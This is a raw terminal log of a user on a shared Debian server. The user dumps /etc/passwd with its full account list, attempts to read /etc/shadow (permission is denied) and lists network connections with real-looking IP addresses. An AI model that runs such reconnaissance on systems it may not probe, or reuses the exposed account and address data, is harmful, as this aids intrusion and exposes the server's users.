1. Script started on Wed 09 Jan 2013 09:44:12 PM EST
  2. This is the Z Shell configuration function for new users,
  3. zsh-newuser-install.
  4. You are seeing this message because you have no zsh startup files
  5. (the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
  6. ~). This function can help you with a few settings that should
  7. make your use of the shell easier.
  8.  
  9. You can:
  10.  
  11. (q) Quit and do nothing. The function will be run again next time.
  12.  
  13. (0) Exit, creating the file ~/.zshrc containing just a comment.
  14. That will prevent this function being run again.
  15.  
  16. (1) Continue to the main menu.
  17.  
  18. (2) Populate your ~/.zshrc with the configuration recommended
  19. by the system administrator and exit (you will need to edit
  20. the file by hand, if so desired).
  21.  
  22. --- Type one of the keys in parentheses ---
  23.  
  24. Aborting.
  25. The function will be run again next time. To prevent this, execute:
  26. touch ~/.zshrc
  27. % magnesium% pps aux | grep ssh
  28. zsh: permission denied: ps
  29. % magnesium% lls > hello
  30. % magnesium% lls
  31. hello
  32. % magnesium% rrm hello
  33. % magnesium% lls
  34. % magnesium% lls
  35. % magnesium% lls -la
  36. total 68
  37. drwxr-xr-x 2 mmaton mmaton 4096 Jan 9 21:44 .
  38. drwxr-xr-x 36 root root 4096 Jan 9 21:20 ..
  39. -rw------- 1 mmaton mmaton 16 Jan 9 21:42 .bash_history
  40. -rw-r--r-- 1 mmaton mmaton 220 Jan 9 21:20 .bash_logout
  41. -rw-r--r-- 1 mmaton mmaton 3544 Jan 9 21:43 .bashrc
  42. -rw-r--r-- 1 mmaton mmaton 675 Jan 9 21:20 .profile
  43. -rw------- 1 mmaton mmaton 33960 Jan 9 21:44 .zcompdump
  44. -rw------- 1 mmaton mmaton 5 Jan 9 21:44 .zsh_history
  45. -rw------- 1 mmaton mmaton 1295 Jan 9 21:44 .zshrc
  46. % magnesium% ccat .bash_history  
  47. id
  48. exit
  49. id
  50. exit
  51. % magnesium% cat .bash_history
  52. id
  53. exit
  54. id
  55. exit
  56. % magnesium% cat .bash_history
  57. id
  58. exit
  59. id
  60. exit
  61. % magnesium% cat .bash_history
  62. id
  63. exit
  64. id
  65. exit
  66. % magnesium% cat .bash_history
  67. id
  68. exit
  69. id
  70. exit
  71. % magnesium% uuname 0a
  72. uname: extra operand `0a'
  73. Try `uname --help' for more information.
  74. % magnesium% uuname -a
  75. Linux magnesium 3.2.0-4-686-pae #1 SMP Debian 3.2.32-1 i686 GNU/Linux
  76. % magnesium% ccat /etc.p  /passwd
  77. root:x:0:0:root:/root:/bin/bash
  78. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  79. bin:x:2:2:bin:/bin:/bin/sh
  80. sys:x:3:3:sys:/dev:/bin/sh
  81. sync:x:4:65534:sync:/bin:/bin/sync
  82. games:x:5:60:games:/usr/games:/bin/sh
  83. man:x:6:12:man:/var/cache/man:/bin/sh
  84. lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  85. mail:x:8:8:mail:/var/mail:/bin/sh
  86. news:x:9:9:news:/var/spool/news:/bin/sh
  87. uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  88. proxy:x:13:13:proxy:/bin:/bin/sh
  89. www-data:x:33:33:www-data:/var/www:/bin/sh
  90. backup:x:34:34:backup:/var/backups:/bin/sh
  91. list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  92. irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  93. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  94. nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  95. libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  96. Debian-exim:x:101:103::/var/spool/exim4:/bin/false
  97. statd:x:102:65534::/var/lib/nfs:/bin/false
  98. sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
  99. ryan:x:1000:1000:ryan,,,:/home/ryan:/bin/bash
  100. starfall:x:1001:1001:,,,:/home/starfall:/bin/bash
  101. StarZ:x:1002:1002:,,,:/home/StarZ:/bin/bash
  102. sevex:x:1003:1003:,,,:/home/sevex:/bin/bash
  103. puli1337:x:1004:1004:,,,:/home/puli1337:/bin/bash
  104. ielement:x:1005:1005:,,,:/home/ielement:/bin/bash
  105. venuism:x:1007:1007:,,,:/home/venuism:/bin/bash
  106. robby:x:1008:1008:,,,:/home/robby:/bin/bash
  107. renyan:x:1009:1009:,,,:/home/renyan:/bin/bash
  108. phizo:x:1010:1010:,,,:/home/phizo:/bin/bash
  109. ajvpot:x:1011:1011:,,,:/home/ajvpot:/bin/bash
  110. dwaan:x:1012:1012:,,,:/home/dwaan:/bin/bash
  111. kate:x:1013:1013:,,,:/home/kate:/bin/bash
  112. goku:x:1014:1014:,,,:/home/goku:/bin/bash
  113. affine:x:1015:1015:,,,:/home/affine:/bin/bash
  114. debian-tor:x:104:107::/var/lib/tor:/bin/false
  115. notroot:x:1016:1016:,,,:/home/notroot:/bin/bash
  116. shiro:x:1017:1017:,,,:/home/shiro:/bin/bash
  117. pseudomorphine:x:1018:1018:,,,:/home/pseudomorphine:/bin/bash
  118. vpn_test:x:1019:100::/:/bin/false
  119. vpn_phizo:x:1020:100::/:/bin/false
  120. vpn_ryan:x:1021:100::/:/bin/false
  121. vpn_Rozyn:x:1022:100::/:/bin/false
  122. hr:x:1023:1019:,,,:/home/hr:/bin/bash
  123. agentj:x:1024:1020:,,,:/home/agentj:/bin/bash
  124. vpn_snoods:x:1025:100::/:/bin/false
  125. vpn_mahdy:x:1026:100::/:/bin/false
  126. vpn_impuhlsive:x:1027:100::/:/bin/false
  127. sirenfal:x:1028:1021:,,,:/home/sirenfal:/bin/bash
  128. vpn_sirenfal:x:1029:100::/:/bin/false
  129. vpn_shiro:x:1030:100::/:/bin/false
  130. vpn_gravy:x:1031:100::/:/bin/false
  131. rcv:x:1032:1022:,,,:/home/rcv:/bin/bash
  132. rz:x:1033:1023:,,,:/home/rz:/bin/bash
  133. vpn_tradezomg:x:1034:100::/:/bin/false
  134. gurhush:x:1035:1024:,,,:/home/gurhush:/bin/bash
  135. valcorb:x:1036:1025:,,,:/home/valcorb:/bin/bash
  136. messagebus:x:105:110::/var/run/dbus:/bin/false
  137. colord:x:106:111:colord colour management daemon,,,:/var/lib/colord:/bin/false
  138. saned:x:107:112::/home/saned:/bin/false
  139. mlt:x:1006:1006:,,,:/home/mlt:/bin/bash
  140. bitlbee:x:108:113::/var/lib/bitlbee/:/bin/false
  141. icecast2:x:109:114::/usr/share/icecast2:/bin/false
  142. asdafs:x:1037:1026:,,,:/home/asdafs:/bin/bash
  143. vpn_chowder:x:1038:100::/:/bin/false
  144. vpn_daring:x:1039:100::/:/bin/false
  145. vpn_hawaii:x:1040:100::/:/bin/false
  146. tmp:x:1041:1027:,,,:/home/tmp:/bin/bash
  147. mountain:x:1042:1028:,,,:/home/mountain:/bin/bash
  148. r3m:x:1043:1029:,,,:/home/r3m:/bin/bash
  149. n0b0dy:x:1044:1030:,,,:/home/n0b0dy:/bin/bash
  150. ejabberd:x:110:115::/var/lib/ejabberd:/bin/sh
  151. prosody:x:111:117:Prosody XMPP Server,,,:/var/lib/prosody:/bin/false
  152. apple:x:1045:1031:,,,:/home/apple:/bin/false
  153. vpn_generic:x:1046:100::/:/bin/false
  154. mmaton:x:1047:1032:,,,:/home/mmaton:/bin/bash
  155. % magnesium%  magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% magnesium% ppythin  on -v
  156. # installing zipimport hook
  157. import zipimport # builtin
  158. # installed zipimport hook
  159. # /usr/lib/python2.7/site.pyc matches /usr/lib/python2.7/site.py
  160. import site # precompiled from /usr/lib/python2.7/site.pyc
  161. # /usr/lib/python2.7/os.pyc matches /usr/lib/python2.7/os.py
  162. import os # precompiled from /usr/lib/python2.7/os.pyc
  163. import errno # builtin
  164. import posix # builtin
  165. # /usr/lib/python2.7/posixpath.pyc matches /usr/lib/python2.7/posixpath.py
  166. import posixpath # precompiled from /usr/lib/python2.7/posixpath.pyc
  167. # /usr/lib/python2.7/stat.pyc matches /usr/lib/python2.7/stat.py
  168. import stat # precompiled from /usr/lib/python2.7/stat.pyc
  169. # /usr/lib/python2.7/genericpath.pyc matches /usr/lib/python2.7/genericpath.py
  170. import genericpath # precompiled from /usr/lib/python2.7/genericpath.pyc
  171. # /usr/lib/python2.7/warnings.pyc matches /usr/lib/python2.7/warnings.py
  172. import warnings # precompiled from /usr/lib/python2.7/warnings.pyc
  173. # /usr/lib/python2.7/linecache.pyc matches /usr/lib/python2.7/linecache.py
  174. import linecache # precompiled from /usr/lib/python2.7/linecache.pyc
  175. # /usr/lib/python2.7/types.pyc matches /usr/lib/python2.7/types.py
  176. import types # precompiled from /usr/lib/python2.7/types.pyc
  177. # /usr/lib/python2.7/UserDict.pyc matches /usr/lib/python2.7/UserDict.py
  178. import UserDict # precompiled from /usr/lib/python2.7/UserDict.pyc
  179. # /usr/lib/python2.7/_abcoll.pyc matches /usr/lib/python2.7/_abcoll.py
  180. import _abcoll # precompiled from /usr/lib/python2.7/_abcoll.pyc
  181. # /usr/lib/python2.7/abc.pyc matches /usr/lib/python2.7/abc.py
  182. import abc # precompiled from /usr/lib/python2.7/abc.pyc
  183. # /usr/lib/python2.7/_weakrefset.pyc matches /usr/lib/python2.7/_weakrefset.py
  184. import _weakrefset # precompiled from /usr/lib/python2.7/_weakrefset.pyc
  185. import _weakref # builtin
  186. # /usr/lib/python2.7/copy_reg.pyc matches /usr/lib/python2.7/copy_reg.py
  187. import copy_reg # precompiled from /usr/lib/python2.7/copy_reg.pyc
  188. # /usr/lib/python2.7/traceback.pyc matches /usr/lib/python2.7/traceback.py
  189. import traceback # precompiled from /usr/lib/python2.7/traceback.pyc
  190. # /usr/lib/python2.7/sysconfig.pyc matches /usr/lib/python2.7/sysconfig.py
  191. import sysconfig # precompiled from /usr/lib/python2.7/sysconfig.pyc
  192. # /usr/lib/python2.7/re.pyc matches /usr/lib/python2.7/re.py
  193. import re # precompiled from /usr/lib/python2.7/re.pyc
  194. # /usr/lib/python2.7/sre_compile.pyc matches /usr/lib/python2.7/sre_compile.py
  195. import sre_compile # precompiled from /usr/lib/python2.7/sre_compile.pyc
  196. import _sre # builtin
  197. # /usr/lib/python2.7/sre_parse.pyc matches /usr/lib/python2.7/sre_parse.py
  198. import sre_parse # precompiled from /usr/lib/python2.7/sre_parse.pyc
  199. # /usr/lib/python2.7/sre_constants.pyc matches /usr/lib/python2.7/sre_constants.py
  200. import sre_constants # precompiled from /usr/lib/python2.7/sre_constants.pyc
  201. # /usr/lib/python2.7/_sysconfigdata.pyc matches /usr/lib/python2.7/_sysconfigdata.py
  202. import _sysconfigdata # precompiled from /usr/lib/python2.7/_sysconfigdata.pyc
  203. # /usr/lib/python2.7/_sysconfigdata_nd.pyc matches /usr/lib/python2.7/_sysconfigdata_nd.py
  204. import _sysconfigdata_nd # precompiled from /usr/lib/python2.7/_sysconfigdata_nd.pyc
  205. # /usr/lib/python2.7/sitecustomize.pyc matches /usr/lib/python2.7/sitecustomize.py
  206. import sitecustomize # precompiled from /usr/lib/python2.7/sitecustomize.pyc
  207. import encodings # directory /usr/lib/python2.7/encodings
  208. # /usr/lib/python2.7/encodings/__init__.pyc matches /usr/lib/python2.7/encodings/__init__.py
  209. import encodings # precompiled from /usr/lib/python2.7/encodings/__init__.pyc
  210. # /usr/lib/python2.7/codecs.pyc matches /usr/lib/python2.7/codecs.py
  211. import codecs # precompiled from /usr/lib/python2.7/codecs.pyc
  212. import _codecs # builtin
  213. # /usr/lib/python2.7/encodings/aliases.pyc matches /usr/lib/python2.7/encodings/aliases.py
  214. import encodings.aliases # precompiled from /usr/lib/python2.7/encodings/aliases.pyc
  215. # /usr/lib/python2.7/encodings/utf_8.pyc matches /usr/lib/python2.7/encodings/utf_8.py
  216. import encodings.utf_8 # precompiled from /usr/lib/python2.7/encodings/utf_8.pyc
  217. Python 2.7.3 (default, Sep 10 2012, 00:09:03)
  218. [GCC 4.7.1] on linux2
  219. Type "help", "copyright", "credits" or "license" for more information.
  220. dlopen("/usr/lib/python2.7/lib-dynload/readline.so", 2);
  221. import readline # dynamically loaded from /usr/lib/python2.7/lib-dynload/readline.so
  222. >>>
  223. >>>
  224. KeyboardInterrupt
  225. >>>
  226. KeyboardInterrupt
  227. >>>
  228. KeyboardInterrupt
  229. >>> exiexit()
  230. # clear __builtin__._
  231. # clear sys.path
  232. # clear sys.argv
  233. # clear sys.ps1
  234. # clear sys.ps2
  235. # clear sys.exitfunc
  236. # clear sys.exc_type
  237. # clear sys.exc_value
  238. # clear sys.exc_traceback
  239. # clear sys.last_type
  240. # clear sys.last_value
  241. # clear sys.last_traceback
  242. # clear sys.path_hooks
  243. # clear sys.path_importer_cache
  244. # clear sys.meta_path
  245. # clear sys.flags
  246. # clear sys.float_info
  247. # restore sys.stdin
  248. # restore sys.stdout
  249. # restore sys.stderr
  250. # cleanup __main__
  251. # cleanup[1] encodings
  252. # cleanup[1] site
  253. # cleanup[1] sysconfig
  254. # cleanup[1] abc
  255. # cleanup[1] _weakrefset
  256. # cleanup[1] sre_constants
  257. # cleanup[1] re
  258. # cleanup[1] _codecs
  259. # cleanup[1] _warnings
  260. # cleanup[1] zipimport
  261. # cleanup[1] _sysconfigdata
  262. # cleanup[1] encodings.utf_8
  263. # cleanup[1] codecs
  264. # cleanup[1] readline
  265. # cleanup[1] _sysconfigdata_nd
  266. # cleanup[1] sitecustomize
  267. # cleanup[1] signal
  268. # cleanup[1] traceback
  269. # cleanup[1] posix
  270. # cleanup[1] encodings.aliases
  271. # cleanup[1] exceptions
  272. # cleanup[1] _weakref
  273. # cleanup[1] sre_compile
  274. # cleanup[1] _sre
  275. # cleanup[1] sre_parse
  276. # cleanup[2] copy_reg
  277. # cleanup[2] posixpath
  278. # cleanup[2] errno
  279. # cleanup[2] _abcoll
  280. # cleanup[2] types
  281. # cleanup[2] genericpath
  282. # cleanup[2] stat
  283. # cleanup[2] warnings
  284. # cleanup[2] UserDict
  285. # cleanup[2] os.path
  286. # cleanup[2] linecache
  287. # cleanup[2] os
  288. # cleanup sys
  289. # cleanup __builtin__
  290. # cleanup ints: 18 unfreed ints
  291. # cleanup floats
  292. % magnesium% ccat .e  /etc/a passwd
  293. root:x:0:0:root:/root:/bin/bash
  294. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  295. bin:x:2:2:bin:/bin:/bin/sh
  296. sys:x:3:3:sys:/dev:/bin/sh
  297. sync:x:4:65534:sync:/bin:/bin/sync
  298. games:x:5:60:games:/usr/games:/bin/sh
  299. man:x:6:12:man:/var/cache/man:/bin/sh
  300. lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  301. mail:x:8:8:mail:/var/mail:/bin/sh
  302. news:x:9:9:news:/var/spool/news:/bin/sh
  303. uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  304. proxy:x:13:13:proxy:/bin:/bin/sh
  305. www-data:x:33:33:www-data:/var/www:/bin/sh
  306. backup:x:34:34:backup:/var/backups:/bin/sh
  307. list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  308. irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  309. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  310. nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  311. libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  312. Debian-exim:x:101:103::/var/spool/exim4:/bin/false
  313. statd:x:102:65534::/var/lib/nfs:/bin/false
  314. sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
  315. ryan:x:1000:1000:ryan,,,:/home/ryan:/bin/bash
  316. starfall:x:1001:1001:,,,:/home/starfall:/bin/bash
  317. StarZ:x:1002:1002:,,,:/home/StarZ:/bin/bash
  318. sevex:x:1003:1003:,,,:/home/sevex:/bin/bash
  319. puli1337:x:1004:1004:,,,:/home/puli1337:/bin/bash
  320. ielement:x:1005:1005:,,,:/home/ielement:/bin/bash
  321. venuism:x:1007:1007:,,,:/home/venuism:/bin/bash
  322. robby:x:1008:1008:,,,:/home/robby:/bin/bash
  323. renyan:x:1009:1009:,,,:/home/renyan:/bin/bash
  324. phizo:x:1010:1010:,,,:/home/phizo:/bin/bash
  325. ajvpot:x:1011:1011:,,,:/home/ajvpot:/bin/bash
  326. dwaan:x:1012:1012:,,,:/home/dwaan:/bin/bash
  327. kate:x:1013:1013:,,,:/home/kate:/bin/bash
  328. goku:x:1014:1014:,,,:/home/goku:/bin/bash
  329. affine:x:1015:1015:,,,:/home/affine:/bin/bash
  330. debian-tor:x:104:107::/var/lib/tor:/bin/false
  331. notroot:x:1016:1016:,,,:/home/notroot:/bin/bash
  332. shiro:x:1017:1017:,,,:/home/shiro:/bin/bash
  333. pseudomorphine:x:1018:1018:,,,:/home/pseudomorphine:/bin/bash
  334. vpn_test:x:1019:100::/:/bin/false
  335. vpn_phizo:x:1020:100::/:/bin/false
  336. vpn_ryan:x:1021:100::/:/bin/false
  337. vpn_Rozyn:x:1022:100::/:/bin/false
  338. hr:x:1023:1019:,,,:/home/hr:/bin/bash
  339. agentj:x:1024:1020:,,,:/home/agentj:/bin/bash
  340. vpn_snoods:x:1025:100::/:/bin/false
  341. vpn_mahdy:x:1026:100::/:/bin/false
  342. vpn_impuhlsive:x:1027:100::/:/bin/false
  343. sirenfal:x:1028:1021:,,,:/home/sirenfal:/bin/bash
  344. vpn_sirenfal:x:1029:100::/:/bin/false
  345. vpn_shiro:x:1030:100::/:/bin/false
  346. vpn_gravy:x:1031:100::/:/bin/false
  347. rcv:x:1032:1022:,,,:/home/rcv:/bin/bash
  348. rz:x:1033:1023:,,,:/home/rz:/bin/bash
  349. vpn_tradezomg:x:1034:100::/:/bin/false
  350. gurhush:x:1035:1024:,,,:/home/gurhush:/bin/bash
  351. valcorb:x:1036:1025:,,,:/home/valcorb:/bin/bash
  352. messagebus:x:105:110::/var/run/dbus:/bin/false
  353. colord:x:106:111:colord colour management daemon,,,:/var/lib/colord:/bin/false
  354. saned:x:107:112::/home/saned:/bin/false
  355. mlt:x:1006:1006:,,,:/home/mlt:/bin/bash
  356. bitlbee:x:108:113::/var/lib/bitlbee/:/bin/false
  357. icecast2:x:109:114::/usr/share/icecast2:/bin/false
  358. asdafs:x:1037:1026:,,,:/home/asdafs:/bin/bash
  359. vpn_chowder:x:1038:100::/:/bin/false
  360. vpn_daring:x:1039:100::/:/bin/false
  361. vpn_hawaii:x:1040:100::/:/bin/false
  362. tmp:x:1041:1027:,,,:/home/tmp:/bin/bash
  363. mountain:x:1042:1028:,,,:/home/mountain:/bin/bash
  364. r3m:x:1043:1029:,,,:/home/r3m:/bin/bash
  365. n0b0dy:x:1044:1030:,,,:/home/n0b0dy:/bin/bash
  366. ejabberd:x:110:115::/var/lib/ejabberd:/bin/sh
  367. prosody:x:111:117:Prosody XMPP Server,,,:/var/lib/prosody:/bin/false
  368. apple:x:1045:1031:,,,:/home/apple:/bin/false
  369. vpn_generic:x:1046:100::/:/bin/false
  370. mmaton:x:1047:1032:,,,:/home/mmaton:/bin/bash
  371. % magnesium% cat /etc/passwd      shadow
  372. cat: /etc/shadow: Permission denied
  373. % magnesium% pps
  374. zsh: permission denied: ps
  375. % magnesium% llocate
  376. locate: no pattern to search for specified
  377. % magnesium% ccd /usr//
  378. bin/ games/ include/ lib/ local/ sbin/ share/ src/ cd /usr/bin/games/include/lib/  ocal/sbin/ hare/rc/  bin         c  uuname -a
  379. Linux magnesium 3.2.0-4-686-pae #1 SMP Debian 3.2.32-1 i686 GNU/Linux
  380. % magnesium% nnetstat -an
  381. Active Internet connections (servers and established)
  382. Proto Recv-Q Send-Q Local Address Foreign Address State
  383. tcp 0 0 0.0.0.0:5269 0.0.0.0:* LISTEN
  384. tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
  385. tcp 0 0 0.0.0.0:8089 0.0.0.0:* LISTEN
  386. tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
  387. tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN
  388. tcp 0 0 127.0.0.1:9050 0.0.0.0:* LISTEN
  389. tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN
  390. tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
  391. tcp 0 0 0.0.0.0:8734 0.0.0.0:* LISTEN
  392. tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN
  393. tcp 0 0 127.0.0.1:5347 0.0.0.0:* LISTEN
  394. tcp 0 0 0.0.0.0:5222 0.0.0.0:* LISTEN
  395. tcp 0 0 0.0.0.0:32331 0.0.0.0:* LISTEN
  396. tcp 0 0 199.229.249.189:36309 91.121.0.144:6667 ESTABLISHED
  397. tcp 0 0 199.229.249.189:22 50.16.13.14:57930 ESTABLISHED
  398. tcp 0 0 199.229.249.189:22 72.179.167.3:14126 ESTABLISHED
  399. tcp 0 0 199.229.249.189:22 88.114.211.190:47114 ESTABLISHED
  400. tcp 0 0 199.229.249.189:52842 67.43.228.244:6667 ESTABLISHED
  401. tcp 0 0 199.229.249.189:34145 208.99.88.245:6667 ESTABLISHED
  402. tcp 0 0 199.229.249.189:54802 176.31.103.103:6667 ESTABLISHED
  403. tcp 0 0 199.229.249.189:22 72.179.167.3:7536 ESTABLISHED
  404. tcp 0 0 199.229.249.189:22 50.16.13.14:54887 ESTABLISHED
  405. tcp 0 0 199.229.249.189:34700 83.169.14.133:6667 ESTABLISHED
  406. tcp 0 0 199.229.249.189:60689 93.190.68.48:6667 ESTABLISHED
  407. tcp 0 0 199.229.249.189:22 88.114.211.190:48644 ESTABLISHED
  408. tcp 0 0 199.229.249.189:54497 69.42.211.111:6667 ESTABLISHED
  409. tcp 0 0 199.229.249.190:22 199.254.238.146:52891 ESTABLISHED
  410. tcp 0 0 199.229.249.189:22 72.179.167.3:43390 ESTABLISHED
  411. tcp 0 0 199.229.249.189:22 50.16.13.14:52065 ESTABLISHED
  412. tcp 0 0 199.229.249.189:22 88.114.211.190:22866 ESTABLISHED
  413. tcp 0 4944 199.229.249.189:22 217.39.11.9:50764 ESTABLISHED
  414. tcp 0 0 199.229.249.189:48754 176.31.103.103:6667 ESTABLISHED
  415. tcp 0 0 199.229.249.189:48752 176.31.103.103:6667 ESTABLISHED
  416. tcp 0 0 199.229.249.189:58540 91.121.0.144:6667 ESTABLISHED
  417. tcp 0 0 199.229.249.190:22 199.254.238.146:56684 ESTABLISHED
  418. tcp 0 0 199.229.249.189:53070 67.43.228.182:6667 ESTABLISHED
  419. tcp 0 0 199.229.249.189:34097 109.236.88.191:33300 ESTABLISHED
  420. tcp6 0 0 :::22 :::* LISTEN
  421. tcp6 0 0 ::1:25 :::* LISTEN
  422. tcp6 0 0 ::1:6010 :::* LISTEN
  423. tcp6 0 0 ::1:6011 :::* LISTEN
  424. tcp6 0 0 :::443 :::* LISTEN
  425. tcp6 0 0 :::25565 :::* LISTEN
  426. tcp6 0 0 :::6666 :::* LISTEN
  427. udp 0 0 199.229.249.189:53 0.0.0.0:*
  428. udp 0 0 199.229.249.189:1194 0.0.0.0:*
  429. udp 0 0 0.0.0.0:1900 0.0.0.0:*
  430. Active UNIX domain sockets (servers and established)
  431. Proto RefCnt Flags Type State I-Node Path
  432. unix 2 [ ACC ] SEQPACKET LISTENING 3356 /run/udev/control
  433. unix 2 [ ACC ] STREAM LISTENING 5936 /var/run/dbus/system_bus_socket
  434. unix 2 [ ACC ] STREAM LISTENING 6284 /var/run/tor/control
  435. unix 27 [ ] DGRAM 5832 /dev/log
  436. unix 2 [ ACC ] STREAM LISTENING 6347 /var/run/minissdpd.sock
  437. unix 2 [ ACC ] STREAM LISTENING 5859 /var/run/acpid.socket
  438. unix 3 [ ] STREAM CONNECTED 4136303
  439. unix 3 [ ] STREAM CONNECTED 4136302
  440. unix 3 [ ] STREAM CONNECTED 4136227 /var/run/dbus/system_bus_socket
  441. unix 3 [ ] STREAM CONNECTED 4136226
  442. unix 2 [ ] DGRAM 4136225
  443. unix 2 [ ] DGRAM 4131415
  444. unix 2 [ ] DGRAM 4131412
  445. unix 2 [ ] STREAM CONNECTED 4047226
  446. unix 2 [ ] STREAM CONNECTED 4047224
  447. unix 2 [ ] STREAM CONNECTED 4047149
  448. unix 2 [ ] STREAM CONNECTED 4047147
  449. unix 3 [ ] STREAM CONNECTED 4029612
  450. unix 3 [ ] STREAM CONNECTED 4029611
  451. unix 3 [ ] STREAM CONNECTED 4029536 /var/run/dbus/system_bus_socket
  452. unix 3 [ ] STREAM CONNECTED 4029535
  453. unix 2 [ ] DGRAM 4029534
  454. unix 3 [ ] STREAM CONNECTED 4029497
  455. unix 3 [ ] STREAM CONNECTED 4029496
  456. unix 3 [ ] STREAM CONNECTED 4029421 /var/run/dbus/system_bus_socket
  457. unix 3 [ ] STREAM CONNECTED 4029420
  458. unix 2 [ ] DGRAM 4029419
  459. unix 3 [ ] STREAM CONNECTED 4015009
  460. unix 3 [ ] STREAM CONNECTED 4015008
  461. unix 3 [ ] STREAM CONNECTED 4014933 /var/run/dbus/system_bus_socket
  462. unix 3 [ ] STREAM CONNECTED 4014932
  463. unix 2 [ ] DGRAM 4014931
  464. unix 3 [ ] STREAM CONNECTED 3908087
  465. unix 3 [ ] STREAM CONNECTED 3908086
  466. unix 3 [ ] STREAM CONNECTED 3908011 /var/run/dbus/system_bus_socket
  467. unix 3 [ ] STREAM CONNECTED 3908010
  468. unix 2 [ ] DGRAM 3908009
  469. unix 3 [ ] STREAM CONNECTED 3900577
  470. unix 3 [ ] STREAM CONNECTED 3900576
  471. unix 3 [ ] STREAM CONNECTED 3900501 /var/run/dbus/system_bus_socket
  472. unix 3 [ ] STREAM CONNECTED 3900500
  473. unix 2 [ ] DGRAM 3900499
  474. unix 3 [ ] STREAM CONNECTED 3834028
  475. unix 3 [ ] STREAM CONNECTED 3834027
  476. unix 3 [ ] STREAM CONNECTED 3833952 /var/run/dbus/system_bus_socket
  477. unix 3 [ ] STREAM CONNECTED 3833951
  478. unix 2 [ ] DGRAM 3833950
  479. unix 2 [ ] DGRAM 3832835
  480. unix 2 [ ] DGRAM 3832832
  481. unix 3 [ ] STREAM CONNECTED 3832751
  482. unix 3 [ ] STREAM CONNECTED 3832750
  483. unix 3 [ ] STREAM CONNECTED 3832675 /var/run/dbus/system_bus_socket
  484. unix 3 [ ] STREAM CONNECTED 3832674
  485. unix 2 [ ] DGRAM 3832673
  486. unix 3 [ ] STREAM CONNECTED 3726928 /var/run/dbus/system_bus_socket
  487. unix 3 [ ] STREAM CONNECTED 3726927
  488. unix 2 [ ] DGRAM 3726924
  489. unix 2 [ ] DGRAM 3726911
  490. unix 2 [ ] DGRAM 3726908
  491. unix 3 [ ] STREAM CONNECTED 3726822
  492. unix 3 [ ] STREAM CONNECTED 3726821
  493. unix 3 [ ] STREAM CONNECTED 3726746 /var/run/dbus/system_bus_socket
  494. unix 3 [ ] STREAM CONNECTED 3726745
  495. unix 2 [ ] DGRAM 3726744
  496. unix 3 [ ] STREAM CONNECTED 3642241
  497. unix 3 [ ] STREAM CONNECTED 3642240
  498. unix 3 [ ] STREAM CONNECTED 3642165 /var/run/dbus/system_bus_socket
  499. unix 3 [ ] STREAM CONNECTED 3642164
  500. unix 2 [ ] DGRAM 3642163
  501. unix 3 [ ] STREAM CONNECTED 3496977
  502. unix 3 [ ] STREAM CONNECTED 3496976
  503. unix 3 [ ] STREAM CONNECTED 3496975
  504. unix 3 [ ] STREAM CONNECTED 3496974
  505. unix 3 [ ] STREAM CONNECTED 1377745
  506. unix 3 [ ] STREAM CONNECTED 1377744
  507. unix 3 [ ] STREAM CONNECTED 1377669 /var/run/dbus/system_bus_socket
  508. unix 3 [ ] STREAM CONNECTED 1377668
  509. unix 2 [ ] DGRAM 1377667
  510. unix 3 [ ] STREAM CONNECTED 1327925 /var/run/dbus/system_bus_socket
  511. unix 3 [ ] STREAM CONNECTED 1327924
  512. unix 2 [ ] DGRAM 1327921
  513. unix 2 [ ] DGRAM 1327908
  514. unix 2 [ ] DGRAM 1327905
  515. unix 3 [ ] STREAM CONNECTED 1327822
  516. unix 3 [ ] STREAM CONNECTED 1327821
  517. unix 3 [ ] STREAM CONNECTED 1327746 /var/run/dbus/system_bus_socket
  518. unix 3 [ ] STREAM CONNECTED 1327745
  519. unix 2 [ ] DGRAM 1327744
  520. unix 3 [ ] DGRAM 1315583
  521. unix 3 [ ] DGRAM 1315582
  522. unix 2 [ ] DGRAM 1315579
  523. unix 2 [ ] STREAM CONNECTED 684349
  524. unix 2 [ ] STREAM CONNECTED 684242
  525. unix 2 [ ] DGRAM 121284
  526. unix 2 [ ] DGRAM 8678
  527. unix 3 [ ] STREAM CONNECTED 6720 /var/run/dbus/system_bus_socket
  528. unix 3 [ ] STREAM CONNECTED 6719
  529. unix 3 [ ] STREAM CONNECTED 6710 /var/run/dbus/system_bus_socket
  530. unix 3 [ ] STREAM CONNECTED 6709
  531. unix 3 [ ] STREAM CONNECTED 6687 /var/run/dbus/system_bus_socket
  532. unix 3 [ ] STREAM CONNECTED 6686
  533. unix 2 [ ] DGRAM 6676
  534. unix 3 [ ] DGRAM 6378
  535. unix 3 [ ] DGRAM 6377
  536. unix 2 [ ] DGRAM 6374
  537. unix 3 [ ] STREAM CONNECTED 6280
  538. unix 3 [ ] STREAM CONNECTED 6279
